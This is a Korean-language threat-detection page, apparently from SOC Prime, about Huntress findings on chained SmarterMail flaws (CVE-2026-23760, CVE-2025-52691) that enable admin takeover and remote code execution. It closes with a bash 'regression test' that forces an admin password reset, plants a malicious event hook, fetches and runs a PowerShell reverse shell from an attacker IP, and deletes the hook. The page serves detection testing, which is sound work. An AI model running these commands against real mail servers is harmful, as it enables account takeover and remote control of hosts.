SOC Prime Bias: 심각

04 2월 2026 16:59

DE&TH를 취약점에: 헌트리스가 스마터메일 계정 탈취로 이어지는 RCE를 포착하다

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
DE&TH를 취약점에: 헌트리스가 스마터메일 계정 탈취로 이어지는 RCE를 포착하다
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Huntress는 권한 있는 계정 탈취 및 궁극적으로 원격 코드 실행을 가능하게 하는 두 가지 SmarterMail 결함의 야생 남용을 관찰했습니다. 공격자는 인증되지 않은 비밀번호 재설정 흐름을 시작하여 권한 있는 토큰을 얻은 후 SmarterMail ‘시스템 이벤트’를 악용하여 호스트 정찰을 위한 명령을 실행합니다. 이 활동은 여러 고객에게 영향을 미쳤으며 대규모 자동화된 착취의 징후를 보였습니다.

조사

Huntress 분석가는 비밀번호 재설정, 인증, 시스템 이벤트 구성, 공격자 제어 도메인 추가 및 후속 추적 제거를 유발하는 SmarterMail API 엔드포인트에 대한 일관된 HTTP POST 요청 시퀀스를 재구성했습니다. 이 체인은 CVE-2026-23760(권한 있는 계정 탈취) 및 CVE-2025-52691(임의 파일 업로드)을 대상으로 합니다. 요청은 일반적으로 python-requests/2.32.4 사용자 에이전트를 사용했으며, 운영자는 실행된 명령에서 정찰 출력을 포함한 result.txt 파일을 남겼습니다.

완화

두 CVE를 해결하기 위해 SmarterMail을 빌드 9511 이상으로 업그레이드하십시오. API 노출을 검토 및 강화하고, 불필요한 시스템 이벤트를 비활성화하거나 제한하며, 계정, 이벤트 또는 도메인을 변경하는 이상한 API 활동을 모니터링하십시오. 지속성을 제거하기 위해 공격자가 생성한 시스템 이벤트와 도메인을 식별하여 제거합니다.

대응

수상한 API 호출 패턴과 python-requests/2.32.4 사용자 에이전트를 찾아 차단하고 악성 시스템 이벤트를 삭제합니다. 권한 있는 자격 증명을 즉시 회전하십시오. 실행된 명령에서 결과.txt를 찾아 추가 페이로드가 준비되었는지 확인하기 위해 엔드포인트 포렌식을 수행합니다. 영향을 받은 사용자/고객에게 알리고 명확한 교정 지침을 제공합니다.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[“<b>행위</b> – <b>T1212 자격 증명 접근을 위한 익스플로잇</b><br/>공격자는 POST /api/v1/auth/force-reset-password 를 통해 CVE-2026-23760을 악용하여 특권 비밀번호를 재설정한다.”] class action_exploit_cred action action_authenticate[“<b>행위</b> – <b>T1078 유효한 계정</b> & <b>T1134.003 액세스 토큰 조작</b><br/>새 자격 증명을 사용하여 POST /api/v1/auth/authenticate-user 로 액세스 토큰을 획득한다.”] class action_authenticate action tool_requests[“<b>도구</b> – <b>이름</b>: python-requests 2.32.4<br/><b>목적</b>: API 호출에 사용되는 HTTP 클라이언트”] class tool_requests tool data_token[“<b>데이터</b> – 액세스 토큰<br/>이후 API 상호작용을 위해 저장됨”] class data_token data action_config_event[“<b>행위</b> – <b>T1569 시스템 서비스</b> & <b>T1574 실행 흐름 하이재킹</b><br/>POST /api/v1/settings/sysadmin/event-hook 을 통해 악성 시스템 이벤트를 생성한다.”] class action_config_event action action_add_domain[“<b>행위</b> – <b>T1204 사용자 실행</b><br/>POST /api/v1/settings/sysadmin/domain-put 으로 이벤트를 트리거하고 정찰 명령을 실행하는 도메인을 추가한다.”] class action_add_domain action data_result[“<b>데이터</b> – result.txt<br/>C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt 에 생성된 파일”] class data_result data action_cleanup[“<b>행위</b> – 정리 단계<br/>POST /api/v1/settings/sysadmin/domain-delete 및 event-hook-delete 를 통해 아티팩트를 제거한다.”] class action_cleanup action action_remove_logs[“<b>행위</b> – <b>T1070.001 Windows 이벤트 로그 삭제</b>”] class action_remove_logs action action_file_deletion[“<b>행위</b> – <b>T1070.004 파일 삭제</b><br/>result.txt 및 관련 파일을 삭제한다.”] class action_file_deletion action action_clear_persistence[“<b>행위</b> – <b>T1070.009 지속성 제거</b>”] class action_clear_persistence action %% Connections action_exploit_cred –>|사용| tool_requests action_exploit_cred –>|연결| action_authenticate action_authenticate –>|생성| data_token data_token –>|사용자| action_config_event action_config_event –>|생성| action_add_domain action_add_domain –>|기록| data_result action_add_domain –>|트리거| action_cleanup action_cleanup –>|포함| action_remove_logs action_cleanup –>|포함| action_file_deletion action_cleanup –>|포함| action_clear_persistence

공격 흐름

시뮬레이션 실행

전제 조건: Telemetry 및 Baseline Pre-flight Check가 통과해야 합니다.

공격 내러티브 및 명령

  1. 정찰: 공격자는 SmarterMail 인스턴스가 CVE‑2026‑23760에 취약한 버전을 실행하는 것을 발견합니다.
  2. 강제 비밀번호 재설정 (T1098): 인증되지 않은 포인트에서 권한 있는 에 대해 알 수 있는 비밀번호를 설정합니다 관리자 계정.
  3. 인증 (T1078): 방금 설정한 자격 증명으로 사용자를 인증 하는 끝점을 통해 로그인하여 세션 토큰을 얻습니다.
  4. 악성 이벤트 훅 배치 (T1569): 공격자의 서버에 호스팅된 PowerShell 리버스 셸을 가리키는 JSON 페이로드를 이벤트 훅 에 POST합니다.
  5. 실행 트리거: 이벤트 훅은 웹 서버에서 자동으로 실행되어 공격자에게 리버스 셸을 생성합니다.
  6. 정리: 감지에서 제외된 이벤트 훅 삭제 끝점을 통해 악성 훅을 제거합니다.

모든 단계는 Sigma 규칙의 선택 기준과 일치하는 HTTP POST 이벤트를 생성합니다. 선택 기준.

회귀 테스트 스크립트

#!/usr/bin/env bash
# -------------------------------------------------
# SmarterMail 계정 탈취 & RCE 시뮬레이션
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. 강제 비밀번호 재설정 (인증되지 않은)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. 인증 및 세션 토큰 캡처
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. 악의적인 이벤트 훅 배치 (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

echo "[+] 악의적인 이벤트 훅 배포 완료. 리버스 셸 대기 중..."

# 4. (선택 사항) 리버스 셸 대기 – 공격자가 별도로 리스너 실행:
#    nc -lvnp ${ATTACKER_PORT}

# 5. 정리 – 훅 제거 (감지에서 제외)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

정리 명령

#!/usr/bin/env bash
# 잔여 악성 훅 제거 및 관리자 비밀번호 재설정

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# 안전한 비밀번호로 인증하거나 기존 토큰을 사용하십시오
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# 잔여 악성 이벤트 훅 삭제
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# 관리자 비밀번호를 알려진 안전한 값으로 재설정
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"